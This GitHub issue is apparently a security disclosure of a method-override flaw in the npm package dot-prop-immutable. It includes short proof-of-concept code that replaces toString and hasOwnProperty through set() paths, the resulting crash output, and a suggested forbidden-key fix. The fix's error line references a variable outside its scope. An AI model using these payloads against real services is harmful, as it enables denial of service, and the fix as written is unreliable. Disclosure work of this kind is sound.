Skip to content

Security: method override via set() path keys (toString/hasOwnProperty) — CWE-1321 #57

Description

@Nick-730

Summary

dot-prop-immutable allows method override (and incomplete prototype-pollution protection) when setting properties via attacker-controlled dot-paths. dpi.set(obj, 'toString', value) and dpi.set(obj, 'hasOwnProperty', value) replace object methods with non-function values, causing runtime crashes in any consumer that stringifies or performs property-existence checks (CWE-1321 related, method override).

PoC (verified, node v22)

const dpi = require('dot-prop-immutable');

// PoC 1: toString override → crash on String()
const obj = { a: 1 };
const out = dpi.set(obj, 'toString', 'HACKED');
String(out);   // TypeError: Cannot convert object to primitive value

// PoC 2: hasOwnProperty override → crash on property check
const obj2 = {};
const out2 = dpi.set(obj2, 'hasOwnProperty', 'HACKED');
out2.hasOwnProperty('a');   // TypeError: out2.hasOwnProperty is not a function

// PoC 3: nested path override
const obj3 = { config: {} };
const out3 = dpi.set(obj3, 'config.toString', 'HACKED');
// out3.config.toString === 'HACKED' (string, was function)

Real output (node v22)

out.toString 类型: string
String(out) → ERROR: Cannot convert object to primitive value
out2.hasOwnProperty: HACKED
out2.hasOwnProperty("a") → ERROR: out2.hasOwnProperty is not a function

Root cause

index.js — the path segments are used as object keys without filtering dangerous names (toString, hasOwnProperty, valueOf, __proto__, constructor). The set path writes clone[head] = value / obj[head] = ... directly. The package's own parsePath does not blacklist method names.

Impact

  • Method override (DoS): toString / hasOwnProperty / valueOf replaced with strings → crashes on serialization / property checks in any consumer handling untrusted paths (URL params, config keys, API inputs).
  • Prototype pollution risk: depending on path handling, __proto__ segments may reach the prototype chain in some usage patterns.

Affected versions

All versions up to 2.1.1 (latest).

Suggested fix

Reject dangerous segments when parsing paths:

const FORBIDDEN = ['__proto__', 'constructor', 'prototype', 'toString', 'hasOwnProperty', 'valueOf'];
function parsePath(path) {
  const parts = Array.isArray(path) ? path : String(path).split('.');
  if (parts.some(p => FORBIDDEN.includes(p))) {
    throw new Error('Refusing to access forbidden property: ' + p);
  }
  return parts;
}

Or use Object.defineProperty / null-prototype objects for the clone.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions